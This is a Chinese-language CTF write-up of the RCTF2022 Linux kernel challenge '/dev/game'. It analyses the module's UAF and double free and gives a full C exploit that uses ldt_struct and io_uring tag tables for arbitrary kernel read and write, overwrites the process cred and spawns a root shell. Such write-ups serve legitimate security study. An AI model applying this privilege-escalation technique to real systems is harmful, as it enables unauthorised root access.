基本信息

使用 vmlinux-to-elf 工具转 bzImage 可以得到内核版本信息 6.0.12
查看启动脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
export KERNEL=.
export IMAGE=.
echo "start"
qemu-system-x86_64 \
-m 128M \
-kernel $KERNEL/bzImage \
-nographic \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-initrd $IMAGE/rootfs.cpio \
-monitor /dev/null \
-smp cores=1,threads=1 \
-cpu kvm64,smep,smap

开启了 kaslr, smep, smap 保护,查看 /proc/cpuinfo 可以看到开启 kpti 保护。
解包文件系统,查看 init 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

insmod /RCTF2022.ko
chmod 666 /dev/game
chown root:root /flag
chmod 600 /flag
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /sys

poweroff -d 0 -f

加载 RCTF2022.ko 内核模块,对应设备文件 /dev/game

RCTF2022源码分析

该内核提供了内核模块对应源码,创建了字符设备 game,定义了 open, read, release, ioctl 四个操作。

hhoge_open 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct Maind* initMaind(void){
struct Maind *fc;
fc = kzalloc(sizeof(struct Maind), GFP_KERNEL);
if (!fc)
return NULL;
return fc;
}
static int hhoge_open(struct inode *inode, struct file *file)
{
struct Maind* context = initMaind();
if(context==NULL){
printk("g_context fail");
return -ENOMEM;
}
file->private_data = context;
return 0;
}

初始化 Maind 结构体并赋值给 file->private_data 。其中 Maind 结构体内容如下:

1
2
3
4
5
6
7
typedef struct Maind{
unsigned long id;
char username[0x20];
void *cur;
void *prv;
int random;
};

hhoge_read 函数

读取 file->private_data 数据返回到用户空间:

1
2
3
4
5
6
7
8
9
static ssize_t   hhoge_read(struct file *file, char   __user *ubuf,   size_t
size, loff_t *ppos)
{
struct Maind* context = file->private_data;
if (context!=NULL && context->cur != NULL){
copy_to_user(ubuf,(const void *)&(((struct Options*)context->cur)->magic),size>9? 9:size);
}
return 0;
}

其中具体读取的为 private_data 中的 cur 指针,该指针被强制转换为 Options 结构体,定义如下:

1
2
3
4
5
typedef struct Options{
char *magic;
char *fortune;
long money;
};

即将 private_data->cur->magic 读取到最多9字节到用户空间。分析后面 change 函数可知 magic 字段代表一个对象指针,即可以读堆上地址。

hhoge_release 函数

简单清空 file->private_data 内容

1
2
3
4
5
static int hhoge_release(struct inode *inode, struct file *filp)
{
filp->private_data = NULL;
return 0;
}

hhoge_unlocked_ioctl 函数

定义了多个命令操作,感觉类似堆菜单的增删改查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
long hhoge_unlocked_ioctl(struct file *file,   unsigned int cmd,
unsigned long arg)
{
struct Maind* context = file->private_data;
if(context==NULL)
return -1;

struct Options* opts;
char tmp[0x20];
copy_from_user(tmp,arg,sizeof(tmp));
switch(cmd){
case 0:
printk("born");
opts = (struct Options*)kzalloc(sizeof(struct Options),GFP_KERNEL);
context->cur = (struct Options*)opts;
((struct Options*)context->cur)->fortune = "ordinary";
context->id = 0;
memcpy(context->username,tmp,0x20);
break;
case 1:
reborn(context);
break;
case 114:
change(context,tmp);
break;
case 22:
delMaind(context);
file->private_data = NULL;

}
return 0;
}

born

生成一个 Options 并将其赋值给 file->private_data->cur, 并将 arg 数据写入到 file->private_data->username

reborn

将 file->private_data->cur 拷贝到 file->private_data->prv ,并给 cur 写入 fortune = “unlucky”; money = -114514; id++

1
2
3
4
5
6
7
8
9
10
11
12
13
void reborn(struct Maind* context){
struct Options* new_opts ;
if(context == NULL){
return;
}
printk("reborn");
new_opts = (struct Options*)kzalloc(sizeof(struct Options),GFP_KERNEL);
context->prv = (void*)new_opts;
memcpy(context->prv,context->cur,sizeof(struct Options));
((struct Options*)context->cur)->fortune = "unlucky";
((struct Options*)context->cur)->money = -114514;
context->id++;
}

change

修改内容,应该是要传入 key1=data1,key2=... 格式的字符串。
检查逻辑包括 key 不能为空,value 长度不能超过 9,然后根据 key 内容将 value 赋值给 opts 的不同字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
static int lookup(const char*key){
int i=-1;
const char **p;
int j = 0;
for (p = key_list; *p!=NULL; p++,j++) {
if (strcmp(*p, key) == 0){
i = j;
break;
}
}
return i;
}
static int parse_string(struct Maind*context,const char*key,const char*value, size_t v_size){
struct Options *opts = context->cur;
char *string;
int opt = -1;
if (!opts){
return -1;
}
if (value) {
string = kmemdup_nul(value, v_size, GFP_KERNEL);
if (!string)
return -1;
}
opt = lookup(key);
switch (opt) {
case 0:
kfree(opts->magic);
opts->magic = string;
string = NULL;
break;
case 1:
opts->fortune = "lucky";
break;
case 2:
opts->money += (long)string;
break;
}
kfree(string);
return 0;
}

void change(struct Maind*context,char*arg){
char *options = arg, *key;
if (!options)
return;
printk("change");
while ((key = strsep(&options, ",")) != NULL) {
if (*key) {
size_t v_len = 0;
char *value = strchr(key, '=');
if (value) {
if (value == key)
continue;
*value++ = 0;
v_len = strlen(value);
if (v_len > 9)
continue;
}
int ret = parse_string(context,key, value, v_len);
if (ret < 0)
break;
}
}
}

key 的可能取值定义在 key_list中:

1
2
3
4
5
6
static const char* key_list[] = {
"flag",
"fortune",
"money",
NULL,
};

可以发现如果 change 在设置了 opts->magic = string 后再进行 reborn 复制到 prv 就可以实现 prv 和 cur 同时指向分配的对象,如果再 change magic 分配一次就可以实现 prv->magic 的 UAF,同时可以 free prv->magic 从而实现 double free。

delMaind

释放 file->private_data->cur 以及 prv 指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void delMaind(struct Maind* context){
struct Options* cur;
struct Options* prv;
if(context == NULL){
return;
}
printk("die\n");

cur = (struct Options*)context->cur;
prv = (struct Options*)context->prv;

if (cur!=NULL){
kfree(cur->magic);
cur->magic = NULL;
kfree(cur);
context->cur = NULL;
}
if (prv!=NULL){
kfree(prv->magic);
prv->magic = NULL;
kfree(prv);
context->prv = NULL;
}

kfree(context);
}

漏洞利用

由于存在 UAF 以及 Double Free 漏洞,string 对象大小最大为 9,对应 kmalloc-16, 需要合适的可利用的结构体来作 UAF。
满足大小条件的结构体只有 ldt_struct 以及可以任意分配大小的结构体,因此这里采用利用 ldt_struct 以及 io_uring 来进行利用。
首先利用 double free漏洞同时申请到 io_uring->buf_data->tags 以及 ldt_struct 可以随意更新内容机制以及 read 可以泄漏堆地址配合 modify_ldt 实现任意地址读,在堆内存空间中搜索 task_struct 结构体,进而获得 cred 地址。这里需要注意新版本的 task_struct 在这一片区域有一点变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
	/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif

/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];

comm 与 cred 之间多了一个指针。
然后释放 ldt 结构体,让 io_uring 的 table 分配大小为0x10(ring0),使 table 占据这个 UAF 的堆块。然后可以分配两个 ring,可以通过 ring0 的 ctx->buf_data->tag[0] 即 table[0] 修改 ring1 的 table 为 cred 地址,进而修改 table 即可实现修改 cred 的目的。

1
2
ldt(ring0->tags[0]) -(free ldt & alloc ring1->tags)
ring1->tags

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <asm/ldt.h>
#include <string.h>
#include "liburing.h"

int fd = -1;
#define PAGESIZE 0x1000
#define ProcessNUM 0x30
#define UringNUM 0x20
pid_t processes[ProcessNUM];
#define __ID__ "wawwwwww"


struct io_uring ring, ring1, ring2;
struct ldt_struct {
size_t entries;
unsigned int nr_entries;
int slot;
};


void errExit(char * msg)
{
printf("[x] Error at: %s\n", msg);
exit(EXIT_FAILURE);
}

void init_uring(){
io_uring_queue_init(2,&ring, 0);
io_uring_queue_init(2,&ring1,0);
io_uring_queue_init(2,&ring2,0);
}

void register_tag(struct io_uring *ring,size_t *data,int num){
char tmp_buf[0x2000];
struct iovec vecs[num];
size_t tags[num];
memcpy(tags,data,num*sizeof(size_t));
for(int i=0;i<num;i++){
vecs[i].iov_base = tmp_buf;
vecs[i].iov_len = 1;
}
//io_alloc_page_table
int res = io_uring_register_buffers_tags(ring,vecs,(__u64 *)tags,num);//kcalloc(nr_tables, sizeof(*table), GFP_KERNEL_ACCOUNT);
if (res < 0){
printf("io_uring_register_buffers_tags %d\n",res);
exit(-1);
}
}


void update_tag(struct io_uring *ring,size_t Data,int num){
char tmp_buf[1024];
struct iovec vecs[2];
vecs[0].iov_base = tmp_buf;
vecs[0].iov_len = 1;
vecs[1].iov_base = tmp_buf;
vecs[1].iov_len = 1;
int ret = io_uring_register_buffers_update_tag(ring, 0,vecs,(__u64 *)Data,num);
if (ret <0){
printf("io_uring_register_buffers_update_tag %d\n",ret);
exit(-1);
}
}

int spawn_processes()
{
for (int i = 0; i < ProcessNUM; i++)
{
pid_t child = fork();
if (child == 0) {
if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {
perror("Could not set name");
}
uid_t old = getuid();
kill(getpid(), SIGSTOP);
uid_t uid = getuid();
if (uid == 0) {
puts("Enjoy root!");
system("/bin/sh");
}
exit(uid);
}
if (child < 0) {
return child;
}
processes[i] = child;
}
return 0;
}
size_t find_cred(size_t heap)
{
struct ldt_struct ldt;
char buf[PAGESIZE];
size_t *result_addr;
size_t cred_addr = -1;
int pipe_fd[2];
int res = pipe(pipe_fd);
if(res)
errExit("pipe");

heap = (heap/0x1000)*0x1000;
for (int i = 0; i < PAGESIZE*PAGESIZE ; i++)
{
if(i && (i % 0x100) == 0){
printf("looked up range from %p ~ %p\n",heap - i * PAGESIZE,heap + i * PAGESIZE);
}
//Forward search
memset(buf,0,PAGESIZE);
ldt.entries = heap - i * PAGESIZE;
ldt.nr_entries = PAGESIZE/8;
update_tag(&ring,(size_t)&ldt,2);//Setting the search Address
if(!fork()){
int res = syscall(SYS_modify_ldt, 0, buf, PAGESIZE);
if(res == PAGESIZE){
result_addr = (size_t*) memmem(buf, 0x1000, __ID__, 8);
if (result_addr){
printf("\033[32m\033[1m[+] Found cred: \033[0m0x%lx\n", result_addr[-2]);
cred_addr = result_addr[-2];
}
write(pipe_fd[1], &cred_addr, 8);
}
exit(0);
}
wait(NULL);
read(pipe_fd[0], &cred_addr, 8);
if (cred_addr != -1)
break;
//Search backwards
memset(buf,0,PAGESIZE);
ldt.entries = heap + i * PAGESIZE;
ldt.nr_entries = PAGESIZE/8;
update_tag(&ring,(size_t)&ldt,2);//Setting the search Address
if(!fork()){
int res = syscall(SYS_modify_ldt, 0, buf, PAGESIZE);
if(res == PAGESIZE){
result_addr = (size_t*) memmem(buf, 0x1000, __ID__, 8);
if (result_addr){
printf("\033[32m\033[1m[+] Found cred: \033[0m0x%lx\n", result_addr[-2]);
cred_addr = result_addr[-2];
}
write(pipe_fd[1], &cred_addr, 8);
}
exit(0);
}
wait(NULL);
read(pipe_fd[0], &cred_addr, 8);
if (cred_addr != -1)
break;
}
return cred_addr;
}

int spawn_root_shell()
{
for (int i = 0; i < ProcessNUM; i++)
{
kill(processes[i], SIGCONT);
}
while(wait(NULL) > 0);

return 0;
}

int main(){
struct user_desc desc;
size_t leak_heap,cred;
size_t Data[0x1000];
memset(Data,0,sizeof(Data));
memset(&desc,0,sizeof(struct user_desc));
char leak[0x10];
fd = open("/dev/game",O_RDWR);
if(fd == -1)
errExit("fail to open dev");

ioctl(fd,0,0);
spawn_processes();

//1. leak heap addr
ioctl(fd,114,"flag=123456789");//kmalloc(0x10)
init_uring();
ioctl(fd,1,0);
ioctl(fd,114,"flag=123456789");//kfree
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));//write_ldt
read(fd,leak,0x10);//leak
leak_heap = *(size_t*)leak;
if((!leak_heap))
errExit("\033[31m[-] Could not leak heap_addr \033[0m");
printf("\033[32m\033[1m[+] leak heap_addr: \033[0m0x%lx\n", leak_heap);

//2. Find cred'struct by arbitrary address read
ioctl(fd,22,0);//kfree
Data[0] = leak_heap;
register_tag(&ring,Data,2);//kzalloc
cred = find_cred(leak_heap);

//3. Overwrite uid and gid by Arbitrary address write
close(fd);
fd = open("/dev/game",O_RDWR);
if(fd == -1)
errExit("fail to open dev");
ioctl(fd,0,0);
ioctl(fd,114,"flag=123456789");//kmalloc(0x10)
ioctl(fd,1,0);
ioctl(fd,114,"flag=123456789");//kfree
register_tag(&ring1,Data,PAGESIZE/8 + 1);//io_alloc_page_table
ioctl(fd,22,0);//kfree
Data[0] = cred+4;
register_tag(&ring2,Data,2);//tags[0] = cred+4
Data[0] = 0;
update_tag(&ring1,(size_t)Data,1);//{long}cred+4 = 0
for(int i = 0;i<3;i++){
Data[0] = cred+4+8*(i+1);
update_tag(&ring2,(size_t)Data,1);//tags[0] = cred+4+8*(i+1)
Data[0] = 0;
update_tag(&ring1,(size_t)Data,1);//{long}cred+4+8*(i+1) = 0
}
puts("\033[32m\033[1m[+] Done \033[0m");
spawn_root_shell();
puts("\033[31m[-] It should never be here \033[0m");
return 0;
}

其中 liburing.h 可以通过 git repo 下载编译安装,据 readme 介绍该库不受 kernel version 影响。

1
2
3
4
5
6
7
8
9
# prepare build config
./configure --cc=gcc --cxx=g++;
# build liburing
make -j$(nproc)
# install liburing
sudo make install

# complile exp
gcc -static exp.c  -o exp -luring